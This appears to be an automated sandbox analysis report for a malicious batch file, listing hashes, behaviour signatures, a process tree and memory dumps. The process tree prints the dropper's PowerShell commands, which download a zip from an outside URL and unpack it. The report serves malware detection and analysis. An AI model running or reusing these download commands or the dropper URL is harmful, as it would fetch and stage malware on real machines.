1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1557s
max time network
1560s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (8).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2924	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2924	powershell.exe
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 2924	2964	cmd.exe	29
PID 2964 wrote to memory of 2924	2964	cmd.exe	29
PID 2964 wrote to memory of 2924	2964	cmd.exe	29
PID 2964 wrote to memory of 2592	2964	cmd.exe	30
PID 2964 wrote to memory of 2592	2964	cmd.exe	30
PID 2964 wrote to memory of 2592	2964	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
025d59038ca21957db1814730e7722df

SHA1
3fe62f8a5569a0b740070fab0e1c24cd0a634cb6

SHA256
58b8de7a3518ff7258e9f2a913a3812e88c762ada14ce4783da8c1aa74f28454

SHA512
44e83e5e7595a5da615a5e59aa561302e76cdb3aa6be01f723c14efbdd2b00f447a2c17e900857145fbf4f033dfa63e164e6b9b7afbdb3bfb725b5364c240b1e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LKL012LCU5N4I4TT0JAK.temp

Filesize
7KB

MD5
025d59038ca21957db1814730e7722df

SHA1
3fe62f8a5569a0b740070fab0e1c24cd0a634cb6

SHA256
58b8de7a3518ff7258e9f2a913a3812e88c762ada14ce4783da8c1aa74f28454

SHA512
44e83e5e7595a5da615a5e59aa561302e76cdb3aa6be01f723c14efbdd2b00f447a2c17e900857145fbf4f033dfa63e164e6b9b7afbdb3bfb725b5364c240b1e

Download Submit
memory/2592-24-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2592-19-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2592-27-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-26-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2592-25-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-23-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2592-20-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-22-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2592-21-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/2924-11-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2924-5-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2924-6-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2924-13-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2924-4-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/2924-7-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2924-10-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2924-8-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2924-9-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download